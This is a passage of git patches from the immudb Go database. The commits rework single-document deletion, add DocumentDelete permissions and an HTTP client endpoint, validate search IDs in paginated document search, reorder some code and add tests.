@@ func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, quer table, err := getTableForCollection(sqlTx, collectionName) if err != nil { - return mayTranslateError(err) + return err } - idFieldName := docIDFieldName(table) - queryCondition, err := e.generateSQLExpression(ctx, query, table) if err != nil { - return mayTranslateError(err) + return err } - queryStmt := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(collectionName, idFieldName)}, - collectionName, - queryCondition, - nil, + // Delete a single document matching the query + deleteStmt := sql.NewDeleteFromStmt(table.Name(), queryCondition, sql.NewInteger(1)) + + _, _, err = e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + []sql.SQLStmt{deleteStmt}, nil, ) - - r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, queryStmt, nil) - if err != nil { - return mayTranslateError(err) - } - - rows := make([]*sql.Row, 0) - for { - row, err := r.Read(ctx) - if err == sql.ErrNoMoreRows { - err = ErrNoMoreDocuments - break - } - if err != nil { - return mayTranslateError(err) - } - rows = append(rows, row) - } - - r.Close() - - if len(rows) == 0 { - return ErrDocumentNotFound - } - - if len(rows) > 1 { - return ErrMultipleDocumentsFound - } - - row := rows[0] - val := row.ValuesByPosition[0].RawValue().([]byte) - docID, err := NewDocumentIDFromRawBytes(val) - if err != nil { - return mayTranslateError(err) - } - - // fetch revision - docKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) - if err != nil { - return mayTranslateError(err) - } - - err = sqlTx.Delete(docKey) if err != nil { return mayTranslateError(err) } - return sqlTx.Commit(ctx) + return nil } diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 2b76bb2531..7887d26e0c 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -142,6 +142,6 @@ func (sqlTx *SQLTx) Closed() bool { return sqlTx.closed } -func (sqlTx *SQLTx) Delete(key []byte) error { +func (sqlTx *SQLTx) delete(key []byte) error { return sqlTx.tx.Delete(key) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index a94d632653..048cbccb88 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1158,10 +1158,11 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string return tx, nil } -func NewDeleteFromStmt(table string, where ValueExp) *DeleteFromStmt { +func NewDeleteFromStmt(table string, where ValueExp, limit ValueExp) *DeleteFromStmt { return &DeleteFromStmt{ tableRef: newTableRef(table, ""), where: where, + limit: limit, } } @@ -4058,7 +4059,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(table.id), EncodeID(index.id), ) - err = tx.Delete(mappedKey) + err = tx.delete(mappedKey) if err != nil { return nil, err } @@ -4075,7 +4076,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(col.id), []byte(col.colType), ) - err = tx.Delete(mappedKey) + err = tx.delete(mappedKey) if err != nil { return nil, err } @@ -4088,7 +4089,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(1), EncodeID(table.id), ) - err = tx.Delete(mappedKey) + err = tx.delete(mappedKey) if err != nil { return nil, err } @@ -4155,7 +4156,7 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(table.id), EncodeID(index.id), ) - err = tx.Delete(indexKey) + err = tx.delete(indexKey) if err != nil { return nil, err } diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index 21218068f4..39a62bf2b5 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -55,6 +55,7 @@ var maintenanceMethods = map[string]struct{}{ "IndexDelete": {}, "DocumentAudit": {}, "DocumentProof": {}, + "DocumentDelete": {}, // admin methods "ListUsers": {}, @@ -128,6 +129,7 @@ var methodsPermissions = map[string][]uint32{ "IndexDelete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DocumentAudit": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DocumentProof": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "DocumentDelete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, // admin methods "ListUsers": {PermissionSysAdmin, PermissionAdmin}, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 4bb5db9020..c080b8593b 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -53,7 +53,7 @@ type DocumentDatabase interface { DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) // DocumentInsertMany creates a new document DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) - // DocumentDelete deletes a document + // DocumentDelete deletes a single document DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 00c0b1a89a..5757d8b3e3 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -18,6 +18,7 @@ package server import ( "context" + "errors" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/pkg/api/protomodel" @@ -247,14 +248,14 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen // read the next page of data from the paginated reader results, err := resultReader.ReadN(ctx, int(req.PerPage)) - if err != nil && err != document.ErrNoMoreDocuments { + if err != nil && errors.Is(err, document.ErrNoMoreDocuments) { return nil, err } // update the pagination parameters for this query in the session sess.UpdatePaginatedDocumentReader(searchID, req.Page, req.PerPage, int(pgreader.TotalRead)+len(results)) - if err == document.ErrNoMoreDocuments { + if errors.Is(err, document.ErrNoMoreDocuments) { // end of data reached, remove the paginated reader and pagination parameters from the session delErr := sess.DeletePaginatedDocumentReader(searchID) if delErr != nil { From 30dcdc0a92dddd1c3a49805cb8c77daff4897308 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 4 May 2023 11:59:21 +0530 Subject: [PATCH 0494/1062] chore: check invalid search id in search request --- Makefile | 1 - embedded/document/engine_test.go | 35 +++++++++++++++++++++++ pkg/database/document_database_test.go | 1 + pkg/server/documents_operations.go | 38 ++++++++++++------------- pkg/server/documents_operations_test.go | 25 +++++++++++++++- pkg/server/sessions/session.go | 2 +- 6 files changed, 79 insertions(+), 23 deletions(-) diff --git a/Makefile b/Makefile index 35c02dcfaf..5bce3b0bcc 100644 --- a/Makefile +++ b/Makefile @@ -205,7 +205,6 @@ build/codegenv2: --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \ --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \ --swagger_out=logtostderr=true,allow_merge=true,simple_operation_ids=true:pkg/api/openapi \ - --openapiv2_out=allow_merge=true,simple_operation_ids=true,disable_service_tags=true:pkg/api/openapi \ ./swagger/dist: rm -rf swagger/dist/ diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 9704954d13..b2ba487434 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -1028,3 +1028,38 @@ func TestDeleteDocument(t *testing.T) { _, err = reader.Read(ctx) require.ErrorIs(t, ErrNoMoreDocuments, err) } + +func TestGetCollection(t *testing.T) { + engine := makeEngine(t) + collectionName := "mycollection1" + + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"pin"}}, + {Fields: []string{"country"}}, + }, + ) + require.NoError(t, err) + + collection, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, collectionName, collection.Name) + require.Equal(t, 5, len(collection.Fields)) + require.Equal(t, 5, len(collection.Indexes)) + + expectedIndexKeys := []string{"_id", "number", "name", "pin", "country"} + for i, key := range expectedIndexKeys { + require.Equal(t, key, collection.Fields[i].Name) + } +} diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 5325186b1b..9751390c07 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -78,6 +78,7 @@ func TestDocumentDB_Collection(t *testing.T) { resp := cinfo.Collection require.Equal(t, 2, len(resp.Fields)) + require.Equal(t, 2, len(resp.Indexes)) require.Equal(t, resp.Fields[0].Name, "_id") require.Contains(t, resp.Fields[1].Name, "pincode") require.Equal(t, protomodel.FieldType_STRING, resp.Fields[0].Type) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 5757d8b3e3..abd691b41c 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -216,15 +216,26 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen return nil, err } - // generate a unique query name based on the request parameters - searchID := getSearchIDFromRequest(req) - // check if the paginated reader for this query has already been created var resultReader document.DocumentReader var pgreader *sessions.PaginatedDocumentReader + var searchID string - pgreader, err = sess.GetPaginatedDocumentReader(searchID) - if err != nil { // paginated reader does not exist, create a new one and add it to the session + // check if the incoming searchID is valid + if req.SearchID != "" { + var err error + if pgreader, err = sess.GetPaginatedDocumentReader(req.SearchID); err != nil { + // invalid searchID, return error + return nil, err + } else { // paginated reader already exists, resume reading from the correct offset based + // on pagination parameters, do validation on the pagination parameters + if req.Page < pgreader.LastPageNumber { + return nil, ErrInvalidPreviousPage + } + resultReader = pgreader.Reader + searchID = req.SearchID + } + } else { // paginated reader does not exist, create a new one and add it to the session resultReader, err = db.SearchDocuments(ctx, req) if err != nil { return nil, err @@ -237,18 +248,13 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen LastPageSize: req.PerPage, } + searchID = xid.New().String() sess.SetPaginatedDocumentReader(searchID, pgreader) - } else { // paginated reader already exists, resume reading from the correct offset based on pagination parameters - // do validation on the pagination parameters - if req.Page < pgreader.LastPageNumber { - return nil, ErrInvalidPreviousPage - } - resultReader = pgreader.Reader } // read the next page of data from the paginated reader results, err := resultReader.ReadN(ctx, int(req.PerPage)) - if err != nil && errors.Is(err, document.ErrNoMoreDocuments) { + if err != nil && !errors.Is(err, document.ErrNoMoreDocuments) { return nil, err } @@ -269,14 +275,6 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen }, err } -func getSearchIDFromRequest(req *protomodel.DocumentSearchRequest) string { - if req.SearchID != "" { - return req.SearchID - } - - return xid.New().String() -} - func (s *ImmuServer) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentDelete") if err != nil { diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index ffba4e11fc..14517f631c 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -165,6 +165,29 @@ func TestPaginationOnReader(t *testing.T) { require.NoError(t, err) } + t.Run("test with invalid search id should fail", func(t *testing.T) { + _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + Collection: collectionName, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), + }, + }, + }, + }, + }, + Page: 1, + PerPage: 5, + SearchID: "foobar", + }) + require.ErrorIs(t, err, sessions.ErrPaginatedDocumentReaderNotFound) + }) + t.Run("test reader for multiple paginated reads", func(t *testing.T) { results := make([]*protomodel.DocumentAtRevision, 0) @@ -209,7 +232,7 @@ func TestPaginationOnReader(t *testing.T) { require.NoError(t, err) require.Equal(t, 1, sess.GetPaginatedDocumentReadersCount()) - t.Run("test reader should throw no more entries when reading more entries", func(t *testing.T) { + t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { _, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, Query: &protomodel.Query{ diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 3d439cfac7..ad40e415a4 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -34,7 +34,7 @@ import ( ) var ( - ErrPaginatedDocumentReaderNotFound = errors.New("paginated document reader not found") + ErrPaginatedDocumentReaderNotFound = errors.New("document reader not found") ) type PaginatedDocumentReader struct { From ee5536a771174e037093da3f177a5d6bd1c8de74 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 09:33:43 -0300 Subject: [PATCH 0495/1062] chore(embedded/document): minor code adjustments Signed-off-by: Jeronimo Irazabal --- embedded/document/document_reader.go | 5 +- embedded/document/engine_test.go | 6 +- pkg/database/document_database.go | 84 ++++++++++++++-------------- pkg/server/documents_operations.go | 64 ++++++++++----------- 4 files changed, 81 insertions(+), 78 deletions(-) diff --git a/embedded/document/document_reader.go b/embedded/document/document_reader.go index bb75abc3a0..d8c9879f5a 100644 --- a/embedded/document/document_reader.go +++ b/embedded/document/document_reader.go @@ -18,6 +18,7 @@ package document import ( "context" "encoding/json" + "errors" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/protomodel" @@ -58,7 +59,7 @@ func (r *documentReader) ReadN(ctx context.Context, count int) ([]*protomodel.Do for l := 0; l < count; l++ { var row *sql.Row row, err = r.rowReader.Read(ctx) - if err == sql.ErrNoMoreRows { + if errors.Is(err, sql.ErrNoMoreRows) { err = ErrNoMoreDocuments break } @@ -96,7 +97,7 @@ func (r *documentReader) Close() error { func (r *documentReader) Read(ctx context.Context) (*protomodel.DocumentAtRevision, error) { var row *sql.Row row, err := r.rowReader.Read(ctx) - if err == sql.ErrNoMoreRows { + if errors.Is(err, sql.ErrNoMoreRows) { err = ErrNoMoreDocuments } if err != nil { diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index b2ba487434..eab5d99309 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -992,14 +992,14 @@ func TestDeleteDocument(t *testing.T) { FieldComparisons: []*protomodel.FieldComparison{ { Field: "country", - Operator: 0, // EQ + Operator: protomodel.ComparisonOperator_EQ, Value: &structpb.Value{ Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, }, }, { Field: "pincode", - Operator: 0, // EQ + Operator: protomodel.ComparisonOperator_EQ, Value: &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 2}, }, @@ -1012,6 +1012,7 @@ func TestDeleteDocument(t *testing.T) { reader, err := engine.GetDocuments(ctx, collectionName, query, 0) require.NoError(t, err) defer reader.Close() + docs, err := reader.ReadN(ctx, 1) require.NoError(t, err) require.Equal(t, 1, len(docs)) @@ -1021,6 +1022,7 @@ func TestDeleteDocument(t *testing.T) { err = engine.sqlEngine.GetStore().WaitForIndexingUpto(ctx, engine.sqlEngine.GetStore().LastCommittedTxID()) require.NoError(t, err) + reader, err = engine.GetDocuments(ctx, collectionName, query, 0) require.NoError(t, err) defer reader.Close() diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index c080b8593b..e360488fac 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -41,20 +41,20 @@ type DocumentDatabase interface { CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) // DeleteIndex deletes an index from a collection DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) - // GetDocument returns the document - SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) // InsertDocument creates a new document InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) - // DocumentAudit returns the document audit history - DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) - // UpdateDocument updates a document - UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) - // DocumentProof returns the proofs for a document - DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) // DocumentInsertMany creates a new document DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) + // UpdateDocument updates a document + UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) + // DocumentAudit returns the document audit history + DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) + // SearchDocuments returns the documents matching the query + SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) // DocumentDelete deletes a single document DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) + // DocumentProof returns the proofs for a document + DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) } // CreateCollection creates a new collection @@ -101,28 +101,6 @@ func (d *db) GetCollection(ctx context.Context, req *protomodel.CollectionGetReq return &protomodel.CollectionGetResponse{Collection: cinfo}, nil } -// SearchDocuments returns the documents matching the search request constraints -func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { - if req == nil { - return nil, ErrIllegalArguments - } - - if req.Page < 1 || req.PerPage < 1 { - return nil, fmt.Errorf("invalid offset or limit") - } - - offset := (req.Page - 1) * req.PerPage - if offset < 0 { - return nil, fmt.Errorf("invalid offset") - } - - reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, req.Query, int64(offset)) - if err != nil { - return nil, err - } - return reader, nil -} - // UpdateCollection updates an existing collection func (d *db) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { d.mutex.RLock() @@ -310,6 +288,40 @@ func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditReq }, nil } +// SearchDocuments returns the documents matching the search request constraints +func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { + if req == nil { + return nil, ErrIllegalArguments + } + + if req.Page < 1 || req.PerPage < 1 { + return nil, fmt.Errorf("invalid offset or limit") + } + + offset := (req.Page - 1) * req.PerPage + if offset < 0 { + return nil, fmt.Errorf("invalid offset") + } + + reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, req.Query, int64(offset)) + if err != nil { + return nil, err + } + return reader, nil +} + +func (d *db) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + + err := d.documentEngine.DeleteDocument(ctx, req.Collection, req.Query) + if err != nil { + return nil, err + } + return &protomodel.DocumentDeleteResponse{}, nil +} + // DocumentProof returns the proofs for a documenta func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { if req == nil { @@ -372,15 +384,3 @@ func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofReq }, }, nil } - -func (d *db) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { - if req == nil { - return nil, ErrIllegalArguments - } - - err := d.documentEngine.DeleteDocument(ctx, req.Collection, req.Query) - if err != nil { - return nil, err - } - return &protomodel.DocumentDeleteResponse{}, nil -} diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index abd691b41c..b7afdf7d8d 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -168,38 +168,6 @@ func (s *ImmuServer) DocumentAudit(ctx context.Context, req *protomodel.Document return resp, nil } -func (s *ImmuServer) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentProof") - if err != nil { - return nil, err - } - - res, err := db.DocumentProof(ctx, req) - if err != nil { - return nil, err - } - - if s.StateSigner != nil { - hdr := schema.TxHeaderFromProto(res.VerifiableTx.DualProof.TargetTxHeader) - alh := hdr.Alh() - - newState := &schema.ImmutableState{ - Db: db.GetName(), - TxId: hdr.ID, - TxHash: alh[:], - } - - err = s.StateSigner.Sign(newState) - if err != nil { - return nil, err - } - - res.VerifiableTx.Signature = newState.Signature - } - - return res, nil -} - func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.DocumentSearchRequest) (*protomodel.DocumentSearchResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentSearch") if err != nil { @@ -286,3 +254,35 @@ func (s *ImmuServer) DocumentDelete(ctx context.Context, req *protomodel.Documen } return resp, nil } + +func (s *ImmuServer) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { + db, err := s.getDBFromCtx(ctx, "DocumentProof") + if err != nil { + return nil, err + } + + res, err := db.DocumentProof(ctx, req) + if err != nil { + return nil, err + } + + if s.StateSigner != nil { + hdr := schema.TxHeaderFromProto(res.VerifiableTx.DualProof.TargetTxHeader) + alh := hdr.Alh() + + newState := &schema.ImmutableState{ + Db: db.GetName(), + TxId: hdr.ID, + TxHash: alh[:], + } + + err = s.StateSigner.Sign(newState) + if err != nil { + return nil, err + } + + res.VerifiableTx.Signature = newState.Signature + } + + return res, nil +} From 5526005840fa8255aa10f32b0f93d0a88e82f351 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 09:36:13 -0300 Subject: [PATCH 0496/1062] chore(pkg/api): re-generated httpclient with DeleteDocument endpoint Signed-off-by: Jeronimo Irazabal --- pkg/api/httpclient/client.go | 159 +++++++++++++++ pkg/api/openapi/apidocs.swagger.json | 49 ++++- pkg/api/protomodel/authorization.pb.go | 54 ++--- pkg/api/protomodel/docs.md | 264 ++++++++++++------------- pkg/api/protomodel/documents.pb.go | 124 ++++++------ 5 files changed, 427 insertions(+), 223 deletions(-) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 46c8a3fb2c..6291a18959 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -128,6 +128,15 @@ type ModelDocumentAuditResponse struct { Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` } +// ModelDocumentDeleteRequest defines model for modelDocumentDeleteRequest. +type ModelDocumentDeleteRequest struct { + Collection *string `json:"collection,omitempty"` + Query *ModelQuery `json:"query,omitempty"` +} + +// ModelDocumentDeleteResponse defines model for modelDocumentDeleteResponse. +type ModelDocumentDeleteResponse = map[string]interface{} + // ModelDocumentInsertManyRequest defines model for modelDocumentInsertManyRequest. type ModelDocumentInsertManyRequest struct { Collection *string `json:"collection,omitempty"` @@ -510,6 +519,9 @@ type CollectionUpdateJSONRequestBody = ModelCollectionUpdateRequest // DocumentAuditJSONRequestBody defines body for DocumentAudit for application/json ContentType. type DocumentAuditJSONRequestBody = ModelDocumentAuditRequest +// DocumentDeleteJSONRequestBody defines body for DocumentDelete for application/json ContentType. +type DocumentDeleteJSONRequestBody = ModelDocumentDeleteRequest + // DocumentInsertJSONRequestBody defines body for DocumentInsert for application/json ContentType. type DocumentInsertJSONRequestBody = ModelDocumentInsertRequest @@ -645,6 +657,11 @@ type ClientInterface interface { DocumentAudit(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // DocumentDelete request with any body + DocumentDeleteWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentDelete(ctx context.Context, body DocumentDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // DocumentInsert request with any body DocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) @@ -873,6 +890,30 @@ func (c *Client) DocumentAudit(ctx context.Context, body DocumentAuditJSONReques return c.Client.Do(req) } +func (c *Client) DocumentDeleteWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentDeleteRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentDelete(ctx context.Context, body DocumentDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentDeleteRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + func (c *Client) DocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { req, err := NewDocumentInsertRequestWithBody(c.Server, contentType, body) if err != nil { @@ -1415,6 +1456,46 @@ func NewDocumentAuditRequestWithBody(server string, contentType string, body io. return req, nil } +// NewDocumentDeleteRequest calls the generic DocumentDelete builder with application/json body +func NewDocumentDeleteRequest(server string, body DocumentDeleteJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentDeleteRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentDeleteRequestWithBody generates requests for DocumentDelete with any type of body +func NewDocumentDeleteRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/delete") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("PUT", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + // NewDocumentInsertRequest calls the generic DocumentInsert builder with application/json body func NewDocumentInsertRequest(server string, body DocumentInsertJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader @@ -1779,6 +1860,11 @@ type ClientWithResponsesInterface interface { DocumentAuditWithResponse(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentAuditResponse, error) + // DocumentDelete request with any body + DocumentDeleteWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentDeleteResponse, error) + + DocumentDeleteWithResponse(ctx context.Context, body DocumentDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentDeleteResponse, error) + // DocumentInsert request with any body DocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) @@ -2022,6 +2108,29 @@ func (r DocumentAuditResponse) StatusCode() int { return 0 } +type DocumentDeleteResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelDocumentDeleteResponse + JSONDefault *RuntimeError +} + +// Status returns HTTPResponse.Status +func (r DocumentDeleteResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentDeleteResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + type DocumentInsertResponse struct { Body []byte HTTPResponse *http.Response @@ -2320,6 +2429,23 @@ func (c *ClientWithResponses) DocumentAuditWithResponse(ctx context.Context, bod return ParseDocumentAuditResponse(rsp) } +// DocumentDeleteWithBodyWithResponse request with arbitrary body returning *DocumentDeleteResponse +func (c *ClientWithResponses) DocumentDeleteWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentDeleteResponse, error) { + rsp, err := c.DocumentDeleteWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentDeleteResponse(rsp) +} + +func (c *ClientWithResponses) DocumentDeleteWithResponse(ctx context.Context, body DocumentDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentDeleteResponse, error) { + rsp, err := c.DocumentDelete(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentDeleteResponse(rsp) +} + // DocumentInsertWithBodyWithResponse request with arbitrary body returning *DocumentInsertResponse func (c *ClientWithResponses) DocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) { rsp, err := c.DocumentInsertWithBody(ctx, contentType, body, reqEditors...) @@ -2736,6 +2862,39 @@ func ParseDocumentAuditResponse(rsp *http.Response) (*DocumentAuditResponse, err return response, nil } +// ParseDocumentDeleteResponse parses an HTTP response from a DocumentDeleteWithResponse call +func ParseDocumentDeleteResponse(rsp *http.Response) (*DocumentDeleteResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentDeleteResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelDocumentDeleteResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, 